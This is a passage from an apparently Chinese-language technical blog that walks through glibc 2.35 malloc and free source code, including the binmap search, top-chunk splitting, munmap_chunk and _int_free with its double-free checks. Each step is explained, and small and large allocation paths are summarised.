5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /* Skip rest of block if there are no more set bits in this block. */ if (bit \u0026gt; map || bit == 0) { do { if (++block \u0026gt;= BINMAPSIZE) /* out of bins */ goto use_top; } while ((map = av-\u0026gt;binmap[block]) == 0); bin = bin_at (av, (block \u0026lt;\u0026lt; BINMAPSHIFT)); bit = 1; } /* Advance to bin with set bit. There must be one. */ while ((bit \u0026amp; map) == 0) { bin = next_bin (bin); bit \u0026lt;\u0026lt;= 1; assert (bit != 0); } /* Inspect the bin. It is likely to be non-empty */ victim = last (bin); /* If a false alarm (empty bin), clear the bit. */ if (victim == bin) { av-\u0026gt;binmap[block] = map \u0026amp;= ~bit; /* Write through */ bin = next_bin (bin); bit \u0026lt;\u0026lt;= 1; } 如果当前 block 中没有多余的标记，那么去找后边的 block，找不到就用 top_chunk\n推进到对应比特位已置位的那个 bin。此时一定能找到一个。\n检查该 bin。它很可能不是空的。\n如果是误报（即 bin 实际上是空的），则清除该位图比特位，然后再次迭代检索 binmap。\n取出这个 chunk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 else { size = chunksize (victim); /* We know the first chunk in this bin is big enough to use. */ assert ((unsigned long) (size) \u0026gt;= (unsigned long) (nb)); remainder_size = size - nb; /* unlink */ unlink_chunk (av, victim); /* Exhaust */ if (remainder_size \u0026lt; MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) malloc_printerr (\u0026#34;malloc(): corrupted unsorted chunks 2\u0026#34;); remainder-\u0026gt;bk = bck; remainder-\u0026gt;fd = fwd; bck-\u0026gt;fd = remainder; fwd-\u0026gt;bk = remainder; /* advertise as last remainder */ if (in_smallbin_range (nb)) av-\u0026gt;last_remainder = remainder; if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } 使 chunk 脱链\n如果剩余部分的大小不足以作为一个独立堆块，则将整个堆块全部分配给用户）。\n如果剩余部分足够大，可以作为一个独立的堆块存在。\n我们不能假设 Unsorted 链表是空的，因此必须在后续执行完整的插入操作（将切分出的余料放入 Unsorted Bin），同时记得清空 nextsize 指针。\n然后返回这个 chunk\n使用 top_chunk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 use_top: /* If large enough, split off the chunk bordering the end of memory (held in av-\u0026gt;top). Note that this is in accord with the best-fit search rule. In effect, av-\u0026gt;top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations). We require that av-\u0026gt;top always exists (i.e., has size \u0026gt;= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */ victim = av-\u0026gt;top; size = chunksize (victim); if (__glibc_unlikely (size \u0026gt; av-\u0026gt;system_mem)) malloc_printerr (\u0026#34;malloc(): corrupted top size\u0026#34;); if ((unsigned long) (size) \u0026gt;= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av-\u0026gt;top = remainder; set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) { malloc_consolidate (av); /* restore original bin index */ if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } /* Otherwise, relay to handle system-dependent cases */ else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } } } 如果（Top Chunk）足够大，就切分出紧邻内存末尾的那个堆块（由 av-\u0026gt;top 持有）。注意，这符合“最佳适配”（best-fit）搜索规则。实际上，av-\u0026gt;top 被视为比任何其他可用堆块都大（因此匹配度较低），因为它可以在必要时进行扩展（直至系统限制）。\n我们要求 av-\u0026gt;top 在初始化后始终存在（即大小大于 MINSIZE），因此如果它将被当前请求耗尽，则必须对其进行补充。（确保其存在的主要原因是，在 sysmalloc 中，我们可能需要 MINSIZE 的空间来放置“栅栏桩”。）\nif ((unsigned long) (size) \u0026gt;= (unsigned long) (nb + MINSIZE)) 如果切割后的剩余空间大于最小应分配内存，则直接切割分配\nelse if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) 否则考虑从 fastbin 中拿出可能存在块合并，放入 unsortedbin 或 top_chunk 中，同时更新 idx ，以外层 for 为基准再迭代一轮\n如果还是没有空间，那就只好用 sysmalloc 了\n外层 for 循环边界在此\n_int_malloc 函数边界在此，分析完成\nsmall_request 处理总结 在 glibc 2.35 中，处理一个 small_request（通常指 64 位系统下，不含头部大小在 1016 字节以下的请求，即最终 size \u0026lt;= 1024 字节）是一个多层级的搜索过程。\n为了提升性能，glibc 采用了从“最快且私有”到“最慢且全局”的搜索策略。以下是 small_request 在 _int_malloc 中可能经过的一切流程：\n1. 尺寸计算与对齐 (checked_request2size) 首先，malloc 会将你申请的 bytes 加上 CHUNK_HDR_SZ（16 字节），并向上对齐到 16 字节。\n例如 malloc(0x20) -\u0026gt; 实际 size 为 0x30。 如果符合 smallbin 范围，进入后续逻辑。 2. 第一关：Tcache (Thread Local Cache) —— 最快路径 这是 glibc 2.26 之后引入的线程私有缓存，不需要加锁。\n搜索：根据计算出的 size 找到对应的 tcache 索引。 命中：如果 tcache-\u0026gt;entries[idx] 有块，直接弹出一个返回。 安全检查：2.35 版本会检查 tcache 的 key 字段（防止 double free）以及指针的对齐性。 3. 第二关：Fastbins —— 快速路径 如果 Tcache 没命中，且 size 属于 Fastbin 范围（通常 \u0026lt;= 0x80）：\n加锁：获取当前 Arena 的互斥锁。 搜索：在 av-\u0026gt;fastbinsY 中查找。 命中： 从栈顶取出一个块。 Tcache 填充：这是 2.35 的特性。如果发现了命中，它会尝试把该 fastbin 链表里剩下的块全都“挪”到当前线程的 Tcache 中，直到 Tcache 填满（默认 7 个）。 返回该块。 4. 第三关：Smallbins —— 确定性路径 如果不是 Fastbin 尺寸，或者 Fastbin 为空：\n搜索：直接在 av-\u0026gt;bins 的对应 Smallbin 索引处查看。 命中： 从链表末尾（BK 方向）取出一个块（FIFO 机制）。 安全检查：执行 Safe Unlink 检查（即 victim-\u0026gt;bk-\u0026gt;fd == victim）。 标志位：设置该块的 PREV_INUSE。 Tcache 填充：同样，如果对应 Smallbin 还有剩余块，会批量存入 Tcache，然后返回其中一个。 5. 第四关：Unsorted Bin 遍历 —— 整理与中转 如果 Smallbins 也没命中，说明目前没有大小正好合适的空闲块。此时 malloc 必须开始“干苦活”：遍历 Unsorted Bin。\n在此过程中，malloc 会处理之前被 free 掉但还没归类的块：\nLast Remainder 优化：如果申请的是 small request，且 Unsorted Bin 中只有一个块且它是 last_remainder，且大小足够切分，则直接切分： 切出一块给用户，剩下的作为新的 last_remainder 留在 Unsorted Bin 中。 分拣与精确匹配：如果上述不成立，开始循环遍历 Unsorted Bin： 把块从 Unsorted Bin 移除（执行前面讨论过的各种安全检查）。 如果大小完全一致（Exact Fit）：停止分拣，直接给用户（或者放入 Tcache 备用）。 如果大小不一致：根据大小把这个块扔进对应的 Smallbin 或 Largebin，并更新 binmap。 6. 第五关：Binmap 搜索 —— 寻找大块切分 如果 Unsorted Bin 遍历完了还没找到正好相等的块（且 Tcache 也没填满）：\n搜索比目标大的 Bin：通过 binmap 快速定位比当前 size 大的最小非空 Smallbin 或 Largebin。 切分（Splitting）： 找到一个比需求大的块。 切开它：前半部分给用户，后半部分作为 Remainder 放入 Unsorted Bin。 7. 第六关：Top Chunk —— 最后的荒野 如果连大块都没有了：\n检查 Top Chunk：看 av-\u0026gt;top 的剩余空间是否足够。 切分：如果够，从 Top Chunk 切出一块。Top Chunk 的起始地址增加，剩余 size 减少。 8. 第七关：绝望的挣扎 —— Consolidation 如果 Top Chunk 也不够大：\n检查 Fastbins：看 fastbins 里是不是还有没合并的碎片。 调用 malloc_consolidate：清空 fastbins，把它们合并后扔进 Unsorted Bin。 重试：回到步骤 5（Unsorted Bin 遍历），再给一次机会。这种情况在整个分配逻辑中只允许发生一次。 9. 第八关：向操作系统要钱 —— sysmalloc 如果上述所有招数都用完了，还没内存：\nsbrk / mmap：调用内核接口增加堆空间（brk 扩展）或申请新的内存映射（mmap）。 如果系统也没内存了，返回 NULL 并设置 errno 为 ENOMEM。 总结： Tcache 优先级极高：几乎所有的命中（Fastbin, Smallbin, Unsorted Bin Exact Fit）都会伴随一个“填满 Tcache”的动作。 安全检查增强：2.35 引入了更严格的指针保护和双向链表校验。 局部性优先：通过 Last Remainder 和 Tcache 填充极力保证连续申请的小块在物理地址上靠近，提升缓存命中率。 这个流程体现了从私有缓存 -\u0026gt; 快速链表 -\u0026gt; 整理分拣 -\u0026gt; 物理切分 -\u0026gt; 系统申请的严密逻辑\nlarge_request 处理总结 在 glibc 2.35 中，large_request 指的是申请的内存大小（计算对齐和头部后）超过了 Smallbin 的上限（通常在 64 位系统上 \u0026gt; 1024 字节）。\n处理 Large Request 的过程比 Small Request 更加复杂，因为它涉及 Best-fit（最佳适配） 算法和特殊的 Nextsize 双向跳表 结构。以下是 large_request 在 _int_malloc 中可能经过的一切流程：\n1. 尺寸计算与 Tcache 检查（入口点） 首先，malloc 会计算最终的 nb（request size + 16 字节对齐）。\nTcache 命中（即便很大）： 注意：Tcache 默认的最大尺寸是 1032 字节（TCACHE_MAX_SZ）。 如果你的请求正好在这个边界内（例如请求 1000 字节，nb 为 1024），它仍会先查 Tcache。如果命中，直接返回。 进入主分配器： 如果超过 Tcache 范围，或者 Tcache 未命中，则获取 Arena 锁并进入 _int_malloc。 2. 预处理：Fastbin 合并（特殊触发） 对于 Large Request，glibc 有一个“激进合并”策略：\n触发条件：如果申请的尺寸非常大（大于 FASTBIN_CONSOLIDATION_THRESHOLD，通常 64KB），或者在后续流程中发现 Bins 和 Top Chunk 都不够用。 动作：调用 malloc_consolidate。这会把 Fastbins 中的所有零碎小块合并并扔进 Unsorted Bin。 目的：大内存申请往往意味着内存压力大，提前整理碎片可以防止因碎片化导致的分配失败。 3. 跨过 Fastbin 和 Smallbin 路径 由于 nb 属于 Large 范围：\n代码会直接跳过 Fastbin 查找逻辑。 代码会直接跳过 Smallbin 查找逻辑（in_smallbin_range(nb) 为假）。 4. 遍历 Unsorted Bin（整理与分拣） 这是 Large Request 分配中最关键的一步。malloc 并不直接去 Largebins 找，而是先清理 Unsorted Bin。\n遍历链表：从 Unsorted Bin 的末尾（bk）向前遍历。 Exact Fit（精确匹配）： 如果遍历到一个块，大小正好等于 nb。 动作：将此块直接返回。 注意：Large Request 不使用 Small Request 那种“Last Remainder”切分优化。 分拣入 Bin： 如果大小不匹配，将该块从 Unsorted Bin 移除，放入它该去的 Smallbin 或 Largebin。 Largebin 特有维护：如果要放入 Largebin，系统必须维护 fd_nextsize 链表，确保 Largebin 内部依然是按 Size 降序排序的。 限制：为了防止遍历时间过长，glibc 通常限制每次遍历 Unsorted Bin 的块数（最多 10000 块，防止拒绝服务攻击）。 5. 扫描目标的 Largebin（寻找最佳适配） 如果在 Unsorted Bin 中没找到精确匹配，现在才开始正式搜索对应的 Largebin。\n确定索引：计算 nb 属于哪一个 Largebin（Largebin 是按范围划分的，例如 1024-1088 字节是一个 bin）。 利用 Nextsize 链表（跳表）搜索： 找到该 Largebin 的第一个块（最大块 victim = first(bin)）。 如果最大块都比 nb 小，直接跳过此 bin。 如果够大，利用 bk_nextsize 从“大”往“小”跳。 寻找最小的符合条件的块：跳到第一个 Size \u0026lt; nb 的组，然后回退一步，找到那个 Size \u0026gt;= nb 的最小组。 组内优化： 找到合适的 Size 组后，为了避免修改 fd_nextsize 链表（减少脱链成本），malloc 会优先取该组的第二个块（Follower），而不是组长（Leader）。 切分（Splitting）： 找到 victim 后，计算 remainder_size = size - nb。 余料处理：如果剩下的部分 $\u0026gt;=$ MINSIZE（32字节），将余料切下来，放入 Unsorted Bin。 耗尽处理：如果余料太小，直接把整个块给用户。 6. 搜索更高级别的 Bins 如果在目标 Largebin 里没找到：\nBinmap 加速：检查 binmap，寻找比当前 bin 索引更大的、非空的 bin。 Best-fit 逻辑：一旦找到一个非空的更大的 bin，逻辑同上：从该 bin 里的最小块开始切分（因为大 bin 里的任何块都一定满足申请要求）。 7. 切分 Top Chunk 如果所有的 Bins（Unsorted, Small, Large）都翻遍了还没找到：\n检查 Top Chunk：看 av-\u0026gt;top 的空间是否足够。 动作：如果足够，切出 nb，更新 Top Chunk 的位置。 8. 终极尝试：Sysmalloc 如果 Top Chunk 也不够了：\n第二次合并：如果之前没做过 malloc_consolidate，现在会做一次，然后重试一遍搜索逻辑。 系统申请：调用 sysmalloc。 mmap 路径：如果申请的尺寸非常巨大（超过 mmap_threshold，默认 128KB），sysmalloc 会直接调用 mmap 向内核要一块独立的匿名映射内存，不从堆里出。 brk 路径：否则，调用 brk 扩展堆顶。 9. 核心防御检查（安全） 在 Large Request 流程中，glibc 2.35 强化的检查包括：\nUnsorted Bin 损坏检查：检查双向链表的 fd/bk 是否被非法篡改。 Largebin 下一跳校验：在利用 fd_nextsize 遍历时，校验 p-\u0026gt;fd_nextsize-\u0026gt;bk_nextsize == p。 Size vs Prev_size 校验：在切分或脱链时，验证相邻块的元数据一致性。 总结 对于一个 Large Request，它的旅程通常是：\n跳过小快灵的 Fast/Small bin 逻辑。 在 Unsorted Bin 里被迫充当“分拣工”，把路上的块都归位。 在 Largebin 里通过 nextsize 指针进行跳跃式搜索，寻找那个既能装下它、又最不浪费空间的“最佳座位”。 如果实在没位子，就去切 Top Chunk 或找操作系统“买地” (mmap)。 __libc_free 源码分析 __libc_free 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ if (mem == 0) /* free(0) has no effect */ return; /* Quickly check that the freed pointer matches the tag for the memory. This gives a useful double-free detection. */ if (__glibc_unlikely (mtag_enabled)) *(volatile char *)mem; int err = errno; p = mem2chunk (mem); if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold. */ if (!mp_.no_dyn_threshold \u0026amp;\u0026amp; chunksize_nomask (p) \u0026gt; mp_.mmap_threshold \u0026amp;\u0026amp; chunksize_nomask (p) \u0026lt;= DEFAULT_MMAP_THRESHOLD_MAX) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); } else { MAYBE_INIT_TCACHE (); /* Mark the chunk as belonging to the library again. */ (void)tag_region (chunk2mem (p), memsize (p)); ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0); } __set_errno (err); } libc_hidden_def (__libc_free) chunk_is_mmapped 处理 动态阈值调整 (Dynamic Threshold Adjustment) 这是 glibc 的一种优化机制。为了提高性能，它会根据程序的分配习惯动态调整 mmap_threshold。\n1 2 3 if (!mp_.no_dyn_threshold \u0026amp;\u0026amp; chunksize_nomask (p) \u0026gt; mp_.mmap_threshold \u0026amp;\u0026amp; chunksize_nomask (p) \u0026lt;= DEFAULT_MMAP_THRESHOLD_MAX) !mp_.no_dyn_threshold：检查是否启用了动态阈值调整（默认开启，除非用户通过 mallopt 禁用了它）。 chunksize_nomask (p) \u0026gt; mp_.mmap_threshold：如果当前释放的 chunk 大小比当前的 mmap_threshold 还要大。 chunksize_nomask (p) \u0026lt;= DEFAULT_MMAP_THRESHOLD_MAX：当前大小没有超过硬上限（通常是 32MB 或 64MB）。 调整逻辑：\n1 2 3 mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); 更新阈值：如果程序频繁释放很大的内存块，glibc 会调高 mmap_threshold。这意味着之后申请类似大小的内存时，可能会改用 brk（堆）而不是 mmap。 目的：减少 mmap/munmap 系统调用的次数。mmap 涉及页表操作和内核交互，开销比移动堆指针（sbrk）大。 联动调整：同时调高 trim_threshold（堆收缩阈值），确保堆不会过于频繁地缩减。 2. 执行内存归还 1 munmap_chunk (p); 这是真正的释放操作。对于 heap chunk，free 后会将其放入各种 bins（如 fastbins, smallbins）中以便复用，不会立即还给系统。\n但对于 mmap chunk：\n它直接调用 munmap 系统调用。 内核会将这块虚拟内存从进程的地址空间中移除。 物理内存释放：对应的物理页帧会被内核回收。 特点： 彻底释放：内存立刻还给 OS。 无碎片：因为它不在堆里，不会造成堆碎片。 性能开销：由于涉及系统调用和页表刷新（TLB shootdown），在大规模频繁操作时比堆操作慢。 munmap_chunk 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static void munmap_chunk (mchunkptr p) { size_t pagesize = GLRO (dl_pagesize); INTERNAL_SIZE_T size = chunksize (p); assert (chunk_is_mmapped (p)); uintptr_t mem = (uintptr_t) chunk2mem (p); uintptr_t block = (uintptr_t) p - prev_size (p); size_t total_size = prev_size (p) + size; /* Unfortunately we have to do the compilers job by hand here. Normally we would test BLOCK and TOTAL-SIZE separately for compliance with the page size. But gcc does not recognize the optimization possibility (in the moment at least) so we combine the two values into one before the bit test. */ if (__glibc_unlikely ((block | total_size) \u0026amp; (pagesize - 1)) != 0 || __glibc_unlikely (!powerof2 (mem \u0026amp; (pagesize - 1)))) malloc_printerr (\u0026#34;munmap_chunk(): invalid pointer\u0026#34;); atomic_decrement (\u0026amp;mp_.n_mmaps); atomic_add (\u0026amp;mp_.mmapped_mem, -total_size); /* If munmap failed the process virtual memory address space is in a bad shape. Just leave the block hanging around, the process will terminate shortly anyway since not much can be done. */ __munmap ((char *) block, total_size); } 这段代码来自于 glibc 的 malloc.c，位于 munmap_chunk 函数中。该函数专门负责销毁那些通过 mmap 分配的内存块。\n1. 注释翻译 “不幸的是，我们在这里必须手动完成编译器应该做的工作。通常情况下，我们会分别测试 BLOCK（内存块地址）和 TOTAL-SIZE（总大小）是否符合页大小（对齐要求）。但 GCC（至少目前）还无法识别这种优化可能性，因此我们在进行位运算测试之前，先将这两个值合并为一个。”\n2. 代码逻辑分析 这段代码的核心任务是：在调用内核接口释放内存前，进行严格的安全检查和统计数据更新。\nA. 核心安全检查：对齐校验 1 2 3 if (__glibc_unlikely ((block | total_size) \u0026amp; (pagesize - 1)) != 0 || __glibc_unlikely (!powerof2 (mem \u0026amp; (pagesize - 1)))) malloc_printerr (\u0026#34;munmap_chunk(): invalid pointer\u0026#34;); 为什么需要页对齐？ mmap 和 munmap 是系统调用，它们操作的单位是页（Page，通常是 4KB）。内核要求传递给 munmap 的起始地址和长度必须是 pagesize 的整数倍。如果不对齐，内核会返回错误，甚至可能导致程序非预期行为。\n注释中的优化手段 (block | total_size)：\npagesize - 1 生成一个掩码（例如页大小是 4096 (0x1000)，掩码就是 0xFFF）。 按位与 \u0026amp; (pagesize - 1) 如果不等于 0，说明低位有值，即没有对齐。 手动优化点：开发者没有写成 (block \u0026amp; mask) || (total_size \u0026amp; mask)，而是写成 (block | total_size) \u0026amp; mask。通过一次“按位或”运算，只要其中任何一个值没对齐，最终结果都会反映出来。这样减少了一次分支判断。 mem \u0026amp; (pagesize - 1) 检查：\nmem 通常是用户可见的内存地址。 这里进一步确认该指针在页内的偏移是否符合预期（通常 mmap 返回的地址页内偏移应该是固定的）。如果地址完全乱了，直接触发 malloc_printerr 报错。 B. 统计数据更新 1 2 atomic_decrement (\u0026amp;mp_.n_mmaps); atomic_add (\u0026amp;mp_.mmapped_mem, -total_size); 当一个 mmap 块被释放时，glibc 需要更新全局的内存状态：\nmp_.n_mmaps：记录当前进程通过 mmap 分配的内存块数量。这里执行原子减 1。 mp_.mmapped_mem：记录当前进程通过 mmap 分配的内存总字节数。这里减去当前块的大小。 atomic_ 前缀：保证了多线程环境下这些全局变量更新的原子性，防止出现竞态条件导致统计数据错误。 非 mmap 处理 如果 p 不是 mmap 分配的，则通过 _int_free 处理\n_int_free 源码分析 _int_free 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 /* ------------------------------ free ------------------------------ */ static void _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ size = chunksize (p); /* Little security check which won\u0026#39;t hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by \u0026#34;design\u0026#34; from some intruder. */ if (__builtin_expect ((uintptr_t) p \u0026gt; (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr (\u0026#34;free(): invalid pointer\u0026#34;); /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ if (__glibc_unlikely (size \u0026lt; MINSIZE || !aligned_OK (size))) malloc_printerr (\u0026#34;free(): invalid size\u0026#34;); check_inuse_chunk(av, p); #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { /* Check to see if it\u0026#39;s already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p); /* This test succeeds on double free. However, we don\u0026#39;t 100% trust it (it also matches random payload data at a 1 in 2^\u0026lt;size_t\u0026gt; chance), so verify it\u0026#39;s not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e-\u0026gt;key == tcache_key)) { tcache_entry *tmp; size_t cnt = 0; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache-\u0026gt;entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp-\u0026gt;next), ++cnt) { if (cnt \u0026gt;= mp_.tcache_count) malloc_printerr (\u0026#34;free(): too many chunks detected in tcache\u0026#34;); if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr (\u0026#34;free(): unaligned chunk detected in tcache 2\u0026#34;); if (tmp == e) malloc_printerr (\u0026#34;free(): double free detected in tcache 2\u0026#34;); /* If we get here, it was a coincidence. We\u0026#39;ve wasted a few cycles, but don\u0026#39;t abort. */ } } if (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count) { tcache_put (p, tc_idx); return; } } } #endif /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ if ((unsigned long)(size) \u0026lt;= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don\u0026#39;t place chunks bordering top into fastbins */ \u0026amp;\u0026amp; (chunk_at_offset(p, size) != av-\u0026gt;top) #endif ) { if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) \u0026lt;= CHUNK_HDR_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) \u0026gt;= av-\u0026gt;system_mem, 0)) { bool fail = true; /* We might not have a lock at this point and concurrent modifications of system_mem might result in a false positive. Redo the test after getting the lock. */ if (!have_lock) { __libc_lock_lock (av-\u0026gt;mutex); fail = (chunksize_nomask (chunk_at_offset (p, size)) \u0026lt;= CHUNK_HDR_SZ || chunksize (chunk_at_offset (p, size)) \u0026gt;= av-\u0026gt;system_mem); __libc_lock_unlock (av-\u0026gt;mutex); } if (fail) malloc_printerr (\u0026#34;free(): invalid next size (fast)\u0026#34;); } free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); atomic_store_relaxed (\u0026amp;av-\u0026gt;have_fastchunks, true); unsigned int idx = fastbin_index(size); fb = \u0026amp;fastbin (av, idx); /* Atomically link P to its fastbin: P-\u0026gt;FD = *FB; *FB = P; */ mchunkptr old = *fb, old2; if (SINGLE_THREAD_P) { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr (\u0026#34;double free or corruption (fasttop)\u0026#34;); p-\u0026gt;fd = PROTECT_PTR (\u0026amp;p-\u0026gt;fd, old); *fb = p; } else do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr (\u0026#34;double free or corruption (fasttop)\u0026#34;); old2 = old; p-\u0026gt;fd = PROTECT_PTR (\u0026amp;p-\u0026gt;fd, old); } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been allocated again. */ if (have_lock \u0026amp;\u0026amp; old != NULL \u0026amp;\u0026amp; __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) malloc_printerr (\u0026#34;invalid fastbin entry (free)\u0026#34;); } /* Consolidate other non-mmapped chunks as they arrive. */ else if (!chunk_is_mmapped(p)) { /* If we\u0026#39;re single-threaded, don\u0026#39;t lock the arena. */ if (SINGLE_THREAD_P) have_lock = true; if (!have_lock) __libc_lock_lock (av-\u0026gt;mutex); nextchunk = chunk_at_offset(p, size); /* Lightweight tests: check whether the block is already the top block. */ if (__glibc_unlikely (p == av-\u0026gt;top)) malloc_printerr (\u0026#34;double free or corruption (top)\u0026#34;); /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect (contiguous (av) \u0026amp;\u0026amp; (char *) nextchunk \u0026gt;= ((char *) av-\u0026gt;top + chunksize(av-\u0026gt;top)), 0)) malloc_printerr (\u0026#34;double free or corruption (out)\u0026#34;); /* Or whether the block is actually not marked used. */ if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr (\u0026#34;double free or corruption (!prev)\u0026#34;); nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) \u0026lt;= CHUNK_HDR_SZ, 0) || __builtin_expect (nextsize \u0026gt;= av-\u0026gt;system_mem, 0)) malloc_printerr (\u0026#34;free(): invalid next size (normal)\u0026#34;); free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr (\u0026#34;corrupted size vs. prev_size while consolidating\u0026#34;); unlink_chunk (av, p); } if (nextchunk != av-\u0026gt;top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { unlink_chunk (av, nextchunk); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ bck = unsorted_chunks(av); fwd = bck-\u0026gt;fd; if (__glibc_unlikely (fwd-\u0026gt;bk != bck)) malloc_printerr (\u0026#34;free(): corrupted unsorted chunks\u0026#34;); p-\u0026gt;fd = fwd; p-\u0026gt;bk = bck; if (!in_smallbin_range(size)) { p-\u0026gt;fd_nextsize = NULL; p-\u0026gt;bk_nextsize = NULL; } bck-\u0026gt;fd = p; fwd-\u0026gt;bk = p; set_head(p, size | PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); } /* If the chunk borders the current high end of memory, consolidate into top */ else { size += nextsize; set_head(p, 